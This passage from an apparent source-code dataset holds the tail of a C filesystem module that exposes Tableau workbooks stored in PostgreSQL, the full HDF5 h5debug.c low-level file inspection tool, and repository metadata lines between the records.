PQerrorMessage(conn)); // TODO: error handling ret = -EIO; } else if (PQntuples(res) == 0 ) { ret = -ENOENT; } else { // return a zero as the universal OK sign ret = 0; for (i = 0; i < PQntuples(res); i++) { name = PQgetvalue(res, i, TFS_WG_QUERY_NAME); len = strlen( name ); for ( j = 0 ; j < len ; j++ ) if ( name[j] == '/' ) name[j] = '_'; filler(buffer, name, NULL, 0); } } PQclear(res); return ret; } int TFS_WG_stat_file(tfs_wg_node_t * node) { const char *paramValues[3] = { node->site, node->project, node->file }; PGresult * res; int ret; // get the connection via a reconnect-capable backer PGconn* conn = get_pg_connection(); node->st.st_blksize = TFS_WG_BLOCKSIZE; // basic stat stuff: file type, nlinks, size of dirs if ( node->level < TFS_WG_FILE) { node->st.st_mode = S_IFDIR | 0555; // read only node->st.st_nlink = 2; node->st.st_size = TFS_WG_BLOCKSIZE; node->st.st_blocks = 1; } else if (node->level == TFS_WG_FILE) { node->st.st_mode = S_IFREG | 0444; // read only node->st.st_nlink = 1; } if (node->level == TFS_WG_ROOT) { time(&(node->st.st_mtime)); return 0; } else if (node->level == TFS_WG_SITE) { res = PQexecParams(conn, TFS_WG_LIST_SITES " and c.name = $1", 1, NULL, paramValues, NULL, NULL, 0); } else if (node->level == TFS_WG_PROJECT) { res = PQexecParams(conn, TFS_WG_LIST_PROJECTS " and c.name = $2", 2, NULL, paramValues, NULL, NULL, 0); } else if (node->level == TFS_WG_FILE) { res = PQexecParams(conn, TFS_WG_LIST_WORKBOOKS " and $3 IN (" TFS_WG_NAMES_WITHOUT_SLASH(twb) ") " "union all " TFS_WG_LIST_DATASOURCES " and $3 IN (" TFS_WG_NAMES_WITHOUT_SLASH(tds) ") ", 3, NULL, paramValues, NULL, NULL, 0); } else { // res defaults to NULL res = NULL; } if (PQresultStatus(res) != PGRES_TUPLES_OK) { fprintf(stderr, "SELECT entries failed: %s/%s", PQresultErrorMessage(res), PQerrorMessage(conn)); // TODO: error handling ret = -EINVAL; } else if (PQntuples(res) == 0 ) { ret = -ENOENT; } else { node->st.st_mtime = atoll( PQgetvalue(res, 0, TFS_WG_QUERY_MTIME) ); if ( node->level == TFS_WG_FILE ) { node->loid = (uint64_t)atoll( PQgetvalue(res, 0, TFS_WG_QUERY_CONTENT) ); node->st.st_size = atoll( PQgetvalue(res, 0, TFS_WG_QUERY_SIZE) ); if ( node->st.st_size > 0 ) node->st.st_blocks = (int) node->st.st_size / TFS_WG_BLOCKSIZE + 1; } ret = 0; } PQclear(res); return ret; } int TFS_WG_parse_path(const char * path, tfs_wg_node_t * node) { int ret; if ( strlen(path) > PATH_MAX ) return -EINVAL; else if ( strlen(path) == 1 && path[0] == '/' ) { node->level = TFS_WG_ROOT; return TFS_WG_stat_file(node); } memset(node, 0, sizeof(tfs_wg_node_t)); ret = sscanf(path, "/%" _NAME_MAX "[^/]/%" _NAME_MAX "[^/]/%255[^/]s", node->site, node->project, node->file ); /* sscanf returned with error */ if (ret == EOF ) { return errno; // TODO: this so thread unsafe } else if ( strchr(node->file, '/' ) != NULL ) { /* file name has / char in it */ return -EINVAL; } else { fprintf(stderr, "TFS_WG_parse_path: site: %s proj: %s file: %s\n", node->site, node->project, node->file); // cast so the signed conversion warning goes away node->level = (tfs_wg_level_t)ret; // get stat from node ret = TFS_WG_stat_file(node); return ret; } } int TFS_WG_connect_db(const char * pghost, const char * pgport, const char * login, const char * pwd) { // save the connection data to the global (eeeeek) state. struct tableau_cmdargs conn_data = {pghost, pgport, login, pwd}; /*struct tableau_cmdargs conn_data = {(char*)pghost, (char*)pgport, (char*)login, (char*)pwd};*/ pg_connection_data = conn_data; // Set up the connection global_conn = connect_to_pg( conn_data ); // return based on whether we have the connection if (global_conn == NULL) return -1; return 0; }
28.855392
111
0.665081
[ "object" ]
cf7d5445c4d06c40676ba7b22e9f562197461181
31,776
c
C
tools/src/misc/h5debug.c
zhenghh04/hdf5
894df13470524bf5359a3127924cc2c24c79ff85
[ "BSD-3-Clause-LBNL" ]
null
null
null
tools/src/misc/h5debug.c
zhenghh04/hdf5
894df13470524bf5359a3127924cc2c24c79ff85
[ "BSD-3-Clause-LBNL" ]
null
null
null
tools/src/misc/h5debug.c
zhenghh04/hdf5
894df13470524bf5359a3127924cc2c24c79ff85
[ "BSD-3-Clause-LBNL" ]
null
null
null
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Copyright by The HDF Group. * * Copyright by the Board of Trustees of the University of Illinois. * * All rights reserved. * * * * This file is part of HDF5. The full HDF5 copyright notice, including * * terms governing use, modification, and redistribution, is contained in * * the COPYING file, which can be found at the root of the source code * * distribution tree, or in https://support.hdfgroup.org/ftp/HDF5/releases. * * If you do not have access to either file, you may request a copy from * * help@hdfgroup.org. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ /*------------------------------------------------------------------------- * * Created: debug.c * Jul 18 1997 * Robb Matzke * * Purpose: Debugs an existing HDF5 file at a low level. * *------------------------------------------------------------------------- */ #define H5A_FRIEND /*suppress error about including H5Apkg */ #define H5B2_FRIEND /*suppress error about including H5B2pkg */ #define H5B2_TESTING /*suppress warning about H5B2 testing funcs*/ #define H5D_FRIEND /*suppress error about including H5Dpkg */ #define H5EA_FRIEND /*suppress error about including H5EApkg */ #define H5EA_TESTING /*suppress warning about H5EA testing funcs*/ #define H5FA_FRIEND /*suppress error about including H5FApkg */ #define H5FA_TESTING /*suppress warning about H5FA testing funcs*/ #define H5F_FRIEND /*suppress error about including H5Fpkg */ #define H5G_FRIEND /*suppress error about including H5Gpkg */ #define H5HF_FRIEND /*suppress error about including H5HFpkg */ #define H5O_FRIEND /*suppress error about including H5Opkg */ #define H5SM_FRIEND /*suppress error about including H5SMpkg */ #include "H5private.h" /* Generic Functions */ #include "H5Apkg.h" /* Attributes */ #include "H5B2pkg.h" /* v2 B-trees */ #include "H5CXprivate.h" /* API Contexts */ #include "H5Dpkg.h" /* Datasets */ #include "H5Eprivate.h" /* Error handling */ #include "H5EApkg.h" /* Extensible Arrays */ #include "H5FApkg.h" /* Fixed Arrays */ #include "H5Fpkg.h" /* File access */ #include "H5FSprivate.h" /* Free space manager */ #include "H5Gpkg.h" /* Groups */ #include "H5HFpkg.h" /* Fractal heaps */ #include "H5HGprivate.h" /* Global Heaps */ #include "H5Iprivate.h" /* IDs */ #include "H5Opkg.h" /* Object headers */ #include "H5SMpkg.h" /* Implicitly shared messages */ /* File drivers */ #include "H5FDfamily.h" #define VCOL 50 /*------------------------------------------------------------------------- * Function: get_H5B2_class * * Purpose: Determine the v2 B-tree class from the buffer read in. * B-trees are debugged through the B-tree subclass. The subclass * identifier is two bytes after the B-tree signature. * * Return: Non-NULL on success/NULL on failure * * Programmer: Quincey Koziol * koziol@hdfgroup.org * Sep 11 2008 * *------------------------------------------------------------------------- */ static const H5B2_class_t * get_H5B2_class(const uint8_t *sig) { H5B2_subid_t subtype = (H5B2_subid_t)sig[H5_SIZEOF_MAGIC + 1]; const H5B2_class_t *cls = NULL; switch (subtype) { case H5B2_TEST_ID: cls = H5B2_TEST; break; case H5B2_FHEAP_HUGE_INDIR_ID: cls = H5HF_HUGE_BT2_INDIR; break; case H5B2_FHEAP_HUGE_FILT_INDIR_ID: cls = H5HF_HUGE_BT2_FILT_INDIR; break; case H5B2_FHEAP_HUGE_DIR_ID: cls = H5HF_HUGE_BT2_DIR; break; case H5B2_FHEAP_HUGE_FILT_DIR_ID: cls = H5HF_HUGE_BT2_FILT_DIR; break; case H5B2_GRP_DENSE_NAME_ID: cls = H5G_BT2_NAME; break; case H5B2_GRP_DENSE_CORDER_ID: cls = H5G_BT2_CORDER; break; case H5B2_SOHM_INDEX_ID: cls = H5SM_INDEX; break; case H5B2_ATTR_DENSE_NAME_ID: cls = H5A_BT2_NAME; break; case H5B2_ATTR_DENSE_CORDER_ID: cls = H5A_BT2_CORDER; break; case H5B2_CDSET_ID: cls = H5D_BT2; break; case H5B2_CDSET_FILT_ID: cls = H5D_BT2_FILT; break; case H5B2_TEST2_ID: cls = H5B2_TEST2; break; case H5B2_NUM_BTREE_ID: default: HDfprintf(stderr, "Unknown v2 B-tree subtype %u\n", (unsigned)(subtype)); } /* end switch */ return (cls); } /* end get_H5B2_class() */ /*------------------------------------------------------------------------- * Function: get_H5EA_class * * Purpose: Determine the extensible array class from the buffer read in. * Extensible arrays are debugged through the array subclass. * The subclass identifier is two bytes after the signature. * * Return: Non-NULL on success/NULL on failure * * Programmer: Quincey Koziol * koziol@hdfgroup.org * Sep 11 2008 * *------------------------------------------------------------------------- */ static const H5EA_class_t * get_H5EA_class(const uint8_t *sig) { H5EA_cls_id_t clsid = (H5EA_cls_id_t)sig[H5_SIZEOF_MAGIC + 1]; const H5EA_class_t *cls = NULL; switch (clsid) { case H5EA_CLS_TEST_ID: cls = H5EA_CLS_TEST; break; case H5EA_CLS_CHUNK_ID: cls = H5EA_CLS_CHUNK; break; case H5EA_CLS_FILT_CHUNK_ID: cls = H5EA_CLS_FILT_CHUNK; break; case H5EA_NUM_CLS_ID: default: HDfprintf(stderr, "Unknown extensible array class %u\n", (unsigned)(clsid)); } /* end switch */ return (cls); } /* end get_H5EA_class() */ /*------------------------------------------------------------------------- * Function: get_H5FA_class * * Purpose: Determine the fixed array class from the buffer read in. * Extensible arrays are debugged through the array subclass. * The subclass identifier is two bytes after the signature. * * Return: Non-NULL on success/NULL on failure * * Programmer: Quincey Koziol * koziol@hdfgroup.org * Sep 11 2008 * *------------------------------------------------------------------------- */ static const H5FA_class_t * get_H5FA_class(const uint8_t *sig) { H5FA_cls_id_t clsid = (H5FA_cls_id_t)sig[H5_SIZEOF_MAGIC + 1]; const H5FA_class_t *cls = NULL; switch (clsid) { case H5FA_CLS_TEST_ID: cls = H5FA_CLS_TEST; break; case H5FA_CLS_CHUNK_ID: cls = H5FA_CLS_CHUNK; break; case H5FA_CLS_FILT_CHUNK_ID: cls = H5FA_CLS_FILT_CHUNK; break; case H5FA_NUM_CLS_ID: default: HDfprintf(stderr, "Unknown fixed array class %u\n", (unsigned)(clsid)); } /* end switch */ return (cls); } /* end get_H5FA_class() */ /*------------------------------------------------------------------------- * Function: main * * Usage: debug FILENAME [OFFSET] * * Return: Success: exit (0) * * Failure: exit (non-zero) * * Programmer: Robb Matzke * Jul 18 1997 * *------------------------------------------------------------------------- */ int main(int argc, char *argv[]) { hid_t fid = H5I_INVALID_HID; hid_t fapl = H5I_INVALID_HID; H5VL_object_t *vol_obj; H5F_t * f; haddr_t addr = 0; int extra_count = 0; /* Number of extra arguments */ haddr_t extra[10]; uint8_t sig[H5F_SIGNATURE_LEN]; size_t u; H5E_auto2_t func; void * edata; hbool_t api_ctx_pushed = FALSE; /* Whether API context pushed */ herr_t status = SUCCEED; int exit_value = 0; if (argc == 1) { HDfprintf(stderr, "Usage: %s filename [signature-addr [extra]*]\n", argv[0]); exit_value = 1; goto done; } /* end if */ /* Initialize the library */ if (H5open() < 0) { HDfprintf(stderr, "cannot initialize the library\n"); exit_value = 1; goto done; } /* end if */ /* Disable error reporting */ H5Eget_auto2(H5E_DEFAULT, &func, &edata); H5Eset_auto2(H5E_DEFAULT, NULL, NULL); /* * Open the file and get the file descriptor. */ if ((fapl = H5Pcreate(H5P_FILE_ACCESS)) < 0) { HDfprintf(stderr, "cannot create file access property list\n"); exit_value = 1; goto done; } /* end if */ if (HDstrchr(argv[1], '%')) if (H5Pset_fapl_family(fapl, (hsize_t)0, H5P_DEFAULT) < 0) { HDfprintf(stderr, "cannot set file access property list\n"); exit_value = 1; goto done; } if ((fid = H5Fopen(argv[1], H5F_ACC_RDONLY, fapl)) < 0) { HDfprintf(stderr, "cannot open file\n"); exit_value = 1; goto done; } /* end if */ /* Push API context */ if (H5CX_push() < 0) { HDfprintf(stderr, "cannot set API context\n"); exit_value = 1; goto done; } api_ctx_pushed = TRUE; if (NULL == (vol_obj = (H5VL_object_t *)H5VL_vol_object(fid))) { HDfprintf(stderr, "cannot obtain vol_obj pointer\n"); exit_value = 2; goto done; } /* end if */ if (NULL == (f = (H5F_t *)H5VL_object_data(vol_obj))) { HDfprintf(stderr, "cannot obtain H5F_t pointer\n"); exit_value = 2; goto done; } /* end if */ /* Ignore metadata tags while using h5debug */ if (H5AC_ignore_tags(f) < 0) { HDfprintf(stderr, "cannot ignore metadata tags\n"); exit_value = 1; goto done; } /* * Parse command arguments. */ /* Primary data structure to dump */ if (argc > 2) addr = (haddr_t)HDstrtoll(argv[2], NULL, 0); /* Extra arguments for primary data structure */ HDmemset(extra, 0, sizeof(extra)); if (argc > 3) { /* Number of extra arguments */ extra_count = argc - 3; /* Range check against 'extra' array size */ if (extra_count > (int)(sizeof(extra) / sizeof(haddr_t))) { HDfprintf(stderr, "\nWARNING: Only using first %d extra parameters\n\n", (int)(sizeof(extra) / sizeof(haddr_t))); extra_count = (int)(sizeof(extra) / sizeof(haddr_t)); } /* end if */ for (u = 0; u < (size_t)extra_count; u++) extra[u] = (haddr_t)HDstrtoll(argv[u + 3], NULL, 0); } /* end if */ /* * Read the signature at the specified file position. */ HDfprintf(stdout, "Reading signature at address %" PRIuHADDR " (rel)\n", addr); if (H5F_block_read(f, H5FD_MEM_SUPER, addr, sizeof(sig), sig) < 0) { HDfprintf(stderr, "cannot read signature\n"); exit_value = 3; goto done; } if (!HDmemcmp(sig, H5F_SIGNATURE, (size_t)H5F_SIGNATURE_LEN)) { /* * Debug the file's super block. */ status = H5F_debug(f, stdout, 0, VCOL); } else if (!HDmemcmp(sig, H5HL_MAGIC, (size_t)H5_SIZEOF_MAGIC)) { /* * Debug a local heap. */ status = H5HL_debug(f, addr, stdout, 0, VCOL); } else if (!HDmemcmp(sig, H5HG_MAGIC, (size_t)H5_SIZEOF_MAGIC)) { /* * Debug a global heap collection. */ status = H5HG_debug(f, addr, stdout, 0, VCOL); } else if (!HDmemcmp(sig, H5G_NODE_MAGIC, (size_t)H5_SIZEOF_MAGIC)) { /* * Debug a symbol table node. */ /* Check for extra parameters */ if (extra_count == 0 || extra[0] == 0) { HDfprintf(stderr, "\nWarning: Providing the group's local heap address will give more information\n"); HDfprintf(stderr, "Symbol table node usage:\n"); HDfprintf(stderr, "\th5debug <filename> <Symbol table node address> <address of local heap>\n\n"); } /* end if */ status = H5G_node_debug(f, addr, stdout, 0, VCOL, extra[0]); } else if (!HDmemcmp(sig, H5B_MAGIC, (size_t)H5_SIZEOF_MAGIC)) { /* * Debug a B-tree. B-trees are debugged through the B-tree * subclass. The subclass identifier is the byte immediately * after the B-tree signature. */ H5B_subid_t subtype = (H5B_subid_t)sig[H5_SIZEOF_MAGIC]; unsigned ndims; uint32_t dim[H5O_LAYOUT_NDIMS]; switch (subtype) { case H5B_SNODE_ID: /* Check for extra parameters */ if (extra_count == 0 || extra[0] == 0) { HDfprintf( stderr, "\nWarning: Providing the group's local heap address will give more information\n"); HDfprintf(stderr, "B-tree symbol table node usage:\n"); HDfprintf(stderr, "\th5debug <filename> <B-tree node address> <address of local heap>\n\n"); exit_value = 4; goto done; } /* end if */ status = H5G_node_debug(f, addr, stdout, 0, VCOL, extra[0]); break; case H5B_CHUNK_ID: /* Check for extra parameters */ if (extra_count == 0 || extra[0] == 0) { HDfprintf( stderr, "ERROR: Need number of dimensions of chunk in order to dump chunk B-tree node\n"); HDfprintf(stderr, "B-tree chunked storage node usage:\n"); HDfprintf(stderr, "\th5debug <filename> <B-tree node address> <# of dimensions> <slowest " "chunk dim>...<fastest chunk dim>\n"); exit_value = 4; goto done; } /* end if */ /* Set # of dimensions */ ndims = (unsigned)extra[0]; /* Check for dimension error */ if (ndims > 9) { HDfprintf(stderr, "ERROR: Only 9 dimensions support currently (fix h5debug)\n"); HDfprintf(stderr, "B-tree chunked storage node usage:\n"); HDfprintf(stderr, "\th5debug <filename> <B-tree node address> <# of dimensions> <slowest " "chunk dim>...<fastest chunk dim>\n"); exit_value = 4; goto done; } /* end for */ /* Build array of chunk dimensions */ for (u = 0; u < ndims; u++) dim[u] = (uint32_t)extra[u + 1]; /* Check for dimension error */ for (u = 0; u < ndims; u++) if (0 == dim[u]) { HDfprintf(stderr, "ERROR: Chunk dimensions should be >0\n"); HDfprintf(stderr, "B-tree chunked storage node usage:\n"); HDfprintf(stderr, "\th5debug <filename> <B-tree node address> <# of dimensions> " "<slowest chunk dim>...<fastest chunk dim>\n"); exit_value = 4; goto done; } /* end if */ /* Set the last dimension (the element size) to zero */ dim[ndims] = 0; status = H5D_btree_debug(f, addr, stdout, 0, VCOL, ndims, dim); break; case H5B_NUM_BTREE_ID: default: HDfprintf(stderr, "Unknown v1 B-tree subtype %u\n", (unsigned)(subtype)); exit_value = 4; goto done; } } else if (!HDmemcmp(sig, H5B2_HDR_MAGIC, (size_t)H5_SIZEOF_MAGIC)) { /* * Debug a v2 B-tree header. */ const H5B2_class_t *cls = get_H5B2_class(sig); HDassert(cls); if ((cls == H5D_BT2 || cls == H5D_BT2_FILT) && (extra_count == 0 || extra[0] == 0)) { HDfprintf(stderr, "ERROR: Need v2 B-tree header address and object header address containing the " "layout message in order to dump header\n"); HDfprintf(stderr, "v2 B-tree hdr usage:\n"); HDfprintf(stderr, "\th5debug <filename> <v2 B-tree header address> <object header address>\n"); exit_value = 4; goto done; } /* end if */ status = H5B2__hdr_debug(f, addr, stdout, 0, VCOL, cls, (haddr_t)extra[0]); } else if (!HDmemcmp(sig, H5B2_INT_MAGIC, (size_t)H5_SIZEOF_MAGIC)) { /* * Debug a v2 B-tree internal node. */ const H5B2_class_t *cls = get_H5B2_class(sig); HDassert(cls); /* Check for enough valid parameters */ if ((cls == H5D_BT2 || cls == H5D_BT2_FILT) && (extra_count == 0 || extra[0] == 0 || extra[1] == 0 || extra[2] == 0 || extra[3] == 0)) { HDfprintf(stderr, "ERROR: Need v2 B-tree header address, the node's number of records, depth, and object " "header address containing the layout message in order to dump internal node\n"); HDfprintf(stderr, "NOTE: Leaf nodes are depth 0, the internal nodes above them are depth 1, etc.\n"); HDfprintf(stderr, "v2 B-tree internal node usage:\n"); HDfprintf(stderr, "\th5debug <filename> <internal node address> <v2 B-tree header address> " "<number of records> <depth> <object header address>\n"); exit_value = 4; goto done; } else if (extra_count == 0 || extra[0] == 0 || extra[1] == 0 || extra[2] == 0) { HDfprintf(stderr, "ERROR: Need v2 B-tree header address and the node's number of records and " "depth in order to dump internal node\n"); HDfprintf(stderr, "NOTE: Leaf nodes are depth 0, the internal nodes above them are depth 1, etc.\n"); HDfprintf(stderr, "v2 B-tree internal node usage:\n"); HDfprintf(stderr, "\th5debug <filename> <internal node address> <v2 B-tree header address> " "<number of records> <depth>\n"); exit_value = 4; goto done; } /* end if */ status = H5B2__int_debug(f, addr, stdout, 0, VCOL, cls, extra[0], (unsigned)extra[1], (unsigned)extra[2], (haddr_t)extra[3]); } else if (!HDmemcmp(sig, H5B2_LEAF_MAGIC, (size_t)H5_SIZEOF_MAGIC)) { /* * Debug a v2 B-tree leaf node. */ const H5B2_class_t *cls = get_H5B2_class(sig); HDassert(cls); /* Check for enough valid parameters */ if ((cls == H5D_BT2 || cls == H5D_BT2_FILT) && (extra_count == 0 || extra[0] == 0 || extra[1] == 0 || extra[2] == 0)) { HDfprintf(stderr, "ERROR: Need v2 B-tree header address, number of records, and object header " "address containing the layout message in order to dump leaf node\n"); HDfprintf(stderr, "v2 B-tree leaf node usage:\n"); HDfprintf(stderr, "\th5debug <filename> <leaf node address> <v2 B-tree header address> <number " "of records> <object header address>\n"); exit_value = 4; goto done; } else if (extra_count == 0 || extra[0] == 0 || extra[1] == 0) { HDfprintf( stderr, "ERROR: Need v2 B-tree header address and number of records in order to dump leaf node\n"); HDfprintf(stderr, "v2 B-tree leaf node usage:\n"); HDfprintf( stderr, "\th5debug <filename> <leaf node address> <v2 B-tree header address> <number of records>\n"); exit_value = 4; goto done; } /* end if */ status = H5B2__leaf_debug(f, addr, stdout, 0, VCOL, cls, extra[0], (unsigned)extra[1], (haddr_t)extra[2]); } else if (!HDmemcmp(sig, H5HF_HDR_MAGIC, (size_t)H5_SIZEOF_MAGIC)) { /* * Debug a fractal heap header. */ status = H5HF_hdr_debug(f, addr, stdout, 0, VCOL); } else if (!HDmemcmp(sig, H5HF_DBLOCK_MAGIC, (size_t)H5_SIZEOF_MAGIC)) { /* * Debug a fractal heap direct block. */ /* Check for enough valid parameters */ if (extra_count == 0 || extra[0] == 0 || extra[1] == 0) { HDfprintf(stderr, "ERROR: Need fractal heap header address and size of direct block in order to " "dump direct block\n"); HDfprintf(stderr, "Fractal heap direct block usage:\n"); HDfprintf( stderr, "\th5debug <filename> <direct block address> <heap header address> <size of direct block>\n"); exit_value = 4; goto done; } /* end if */ status = H5HF_dblock_debug(f, addr, stdout, 0, VCOL, extra[0], (size_t)extra[1]); } else if (!HDmemcmp(sig, H5HF_IBLOCK_MAGIC, (size_t)H5_SIZEOF_MAGIC)) { /* * Debug a fractal heap indirect block. */ /* Check for enough valid parameters */ if (extra_count == 0 || extra[0] == 0 || extra[1] == 0) { HDfprintf(stderr, "ERROR: Need fractal heap header address and number of rows in order to dump " "indirect block\n"); HDfprintf(stderr, "Fractal heap indirect block usage:\n"); HDfprintf( stderr, "\th5debug <filename> <indirect block address> <heap header address> <number of rows>\n"); exit_value = 4; goto done; } /* end if */ status = H5HF_iblock_debug(f, addr, stdout, 0, VCOL, extra[0], (unsigned)extra[1]); } else if (!HDmemcmp(sig, H5FS_HDR_MAGIC, (size_t)H5_SIZEOF_MAGIC)) { /* * Debug a free space header. */ status = H5FS_debug(f, addr, stdout, 0, VCOL); } else if (!HDmemcmp(sig, H5FS_SINFO_MAGIC, (size_t)H5_SIZEOF_MAGIC)) { /* * Debug free space serialized sections. */ /* Check for enough valid parameters */ if (extra_count == 0 || extra[0] == 0 || extra[1] == 0) { HDfprintf(stderr, "ERROR: Need free space header address and client address in order to dump " "serialized sections\n"); HDfprintf(stderr, "Free space serialized sections usage:\n"); HDfprintf(stderr, "\th5debug <filename> <serialized sections address> <free space header " "address> <client address>\n"); exit_value = 4; goto done; } /* end if */ status = H5FS_sects_debug(f, addr, stdout, 0, VCOL, extra[0], extra[1]); } else if (!HDmemcmp(sig, H5SM_TABLE_MAGIC, (size_t)H5_SIZEOF_MAGIC)) { /* * Debug shared message master table. */ status = H5SM_table_debug(f, addr, stdout, 0, VCOL, (unsigned)UFAIL, (unsigned)UFAIL); } else if (!HDmemcmp(sig, H5SM_LIST_MAGIC, (size_t)H5_SIZEOF_MAGIC)) { /* * Debug shared message list index. */ /* Check for enough valid parameters */ if (extra_count == 0 || extra[0] == 0) { HDfprintf(stderr, "ERROR: Need shared message header address in order to shared message list\n"); HDfprintf(stderr, "Shared message list usage:\n"); HDfprintf(stderr, "\th5debug <filename> <shared message list address> <shared message header address>\n"); exit_value = 4; goto done; } /* end if */ status = H5SM_list_debug(f, addr, stdout, 0, VCOL, (haddr_t)extra[0]); } else if (!HDmemcmp(sig, H5EA_HDR_MAGIC, (size_t)H5_SIZEOF_MAGIC)) { /* * Debug an extensible aray header. */ const H5EA_class_t *cls = get_H5EA_class(sig); HDassert(cls); /* Check for enough valid parameters */ if (extra_count == 0 || extra[0] == 0) { HDfprintf( stderr, "ERROR: Need object header address containing the layout message in order to dump header\n"); HDfprintf(stderr, "Extensible array header block usage:\n"); HDfprintf(stderr, "\th5debug <filename> <Extensible Array header address> <object header address>\n"); exit_value = 4; goto done; } /* end if */ status = H5EA__hdr_debug(f, addr, stdout, 0, VCOL, cls, extra[0]); } else if (!HDmemcmp(sig, H5EA_IBLOCK_MAGIC, (size_t)H5_SIZEOF_MAGIC)) { /* * Debug an extensible aray index block. */ const H5EA_class_t *cls = get_H5EA_class(sig); HDassert(cls); /* Check for enough valid parameters */ if (extra_count == 0 || extra[0] == 0 || extra[1] == 0) { HDfprintf(stderr, "ERROR: Need extensible array header address and object header address " "containing the layout message in order to dump index block\n"); HDfprintf(stderr, "Extensible array index block usage:\n"); HDfprintf( stderr, "\th5debug <filename> <index block address> <array header address> <object header address\n"); exit_value = 4; goto done; } /* end if */ status = H5EA__iblock_debug(f, addr, stdout, 0, VCOL, cls, extra[0], extra[1]); } else if (!HDmemcmp(sig, H5EA_SBLOCK_MAGIC, (size_t)H5_SIZEOF_MAGIC)) { /* * Debug an extensible aray super block. */ const H5EA_class_t *cls = get_H5EA_class(sig); HDassert(cls); /* Check for enough valid parameters */ if (extra_count == 0 || extra[0] == 0 || extra[1] == 0 || extra[2] == 0) { HDfprintf(stderr, "ERROR: Need extensible array header address, super block index and object " "header address containing the layout message in order to dump super block\n"); HDfprintf(stderr, "Extensible array super block usage:\n"); HDfprintf(stderr, "\th5debug <filename> <super block address> <array header address> <super " "block index> <object header address>\n"); exit_value = 4; goto done; } /* end if */ status = H5EA__sblock_debug(f, addr, stdout, 0, VCOL, cls, extra[0], (unsigned)extra[1], extra[2]); } else if (!HDmemcmp(sig, H5EA_DBLOCK_MAGIC, (size_t)H5_SIZEOF_MAGIC)) { /* * Debug an extensible aray data block. */ const H5EA_class_t *cls = get_H5EA_class(sig); HDassert(cls); /* Check for enough valid parameters */ if (extra_count == 0 || extra[0] == 0 || extra[1] == 0 || extra[2] == 0) { HDfprintf(stderr, "ERROR: Need extensible array header address, # of elements in data block and object " "header address containing the layout message in order to dump data block\n"); HDfprintf(stderr, "Extensible array data block usage:\n"); HDfprintf(stderr, "\th5debug <filename> <data block address> <array header address> <# of " "elements in data block> <object header address\n"); exit_value = 4; goto done; } /* end if */ status = H5EA__dblock_debug(f, addr, stdout, 0, VCOL, cls, extra[0], (size_t)extra[1], extra[2]); } else if (!HDmemcmp(sig, H5FA_HDR_MAGIC, (size_t)H5_SIZEOF_MAGIC)) { /* * Debug a fixed array header. */ const H5FA_class_t *cls = get_H5FA_class(sig); HDassert(cls); /* Check for enough valid parameters */ if (extra_count == 0 || extra[0] == 0) { HDfprintf( stderr, "ERROR: Need object header address containing the layout message in order to dump header\n"); HDfprintf(stderr, "Fixed array header block usage:\n"); HDfprintf(stderr, "\th5debug <filename> <Fixed Array header address> <object header address>\n"); exit_value = 4; goto done; } /* end if */ status = H5FA__hdr_debug(f, addr, stdout, 0, VCOL, cls, extra[0]); } else if (!HDmemcmp(sig, H5FA_DBLOCK_MAGIC, (size_t)H5_SIZEOF_MAGIC)) { /* * Debug a fixed array data block. */ const H5FA_class_t *cls = get_H5FA_class(sig); HDassert(cls); /* Check for enough valid parameters */ if (extra_count == 0 || extra[0] == 0 || extra[1] == 0) { HDfprintf(stderr, "ERROR: Need fixed array header address and object header address containing " "the layout message in order to dump data block\n"); HDfprintf(stderr, "fixed array data block usage:\n"); HDfprintf( stderr, "\th5debug <filename> <data block address> <array header address> <object header address>\n"); exit_value = 4; goto done; } /* end if */ status = H5FA__dblock_debug(f, addr, stdout, 0, VCOL, cls, extra[0], extra[1]); } else if (!HDmemcmp(sig, H5O_HDR_MAGIC, (size_t)H5_SIZEOF_MAGIC)) { /* * Debug v2 object header (which have signatures). */ status = H5O_debug(f, addr, stdout, 0, VCOL); } else if (sig[0] == H5O_VERSION_1) { /* * This could be a v1 object header. Since they don't have a signature * it's a somewhat "ify" detection. */ status = H5O_debug(f, addr, stdout, 0, VCOL); } else { /* * Got some other unrecognized signature. */ HDprintf("%-*s ", VCOL, "Signature:"); for (u = 0; u < sizeof(sig); u++) { if (sig[u] > ' ' && sig[u] <= '~' && '\\' != sig[u]) HDputchar(sig[u]); else if ('\\' == sig[u]) { HDputchar('\\'); HDputchar('\\'); } else HDprintf("\\%03o", sig[u]); } HDputchar('\n'); HDfprintf(stderr, "unknown signature\n"); exit_value = 4; goto done; } /* end else */ /* Check for an error when dumping information */ if (status < 0) { HDfprintf(stderr, "An error occurred!\n"); H5Eprint2(H5E_DEFAULT, stderr); exit_value = 5; goto done; } /* end if */ done: if (fapl > 0) H5Pclose(fapl); if (fid > 0) H5Fclose(fid); /* Pop API context */ if (api_ctx_pushed) H5CX_pop(FALSE); H5Eset_auto2(H5E_DEFAULT, func, edata); return exit_value; } /* main() */
38.146459
110
0.525585
[ "object" ]
cf7ecbe7b3ce9d3353df8cf1b38c61f1c662325b
5,440
h
C
tem/include/tencentcloud/tem/v20210701/model/DescribeRunPodPage.h
suluner/tencentcloud-sdk-cpp
a56c73cc3f488c4d1e10755704107bb15c5e000d
[ "Apache-2.0" ]
43
2019-08-14T08:14:12.000Z
2022-03-30T12:35:09.000Z
tem/include/tencentcloud/tem/v20210701/model/DescribeRunPodPage.h
suluner/tencentcloud-sdk-cpp
a56c73cc3f488c4d1e10755704107bb15c5e000d
[ "Apache-2.0" ]
12
2019-07-15T10:44:59.000Z
2021-11-02T12:35:00.000Z
tem/include/tencentcloud/tem/v20210701/model/DescribeRunPodPage.h
suluner/tencentcloud-sdk-cpp
a56c73cc3f488c4d1e10755704107bb15c5e000d
[ "Apache-2.0" ]
28
2019-07-12T09:06:22.000Z
2022-03-30T08:04:18.000Z
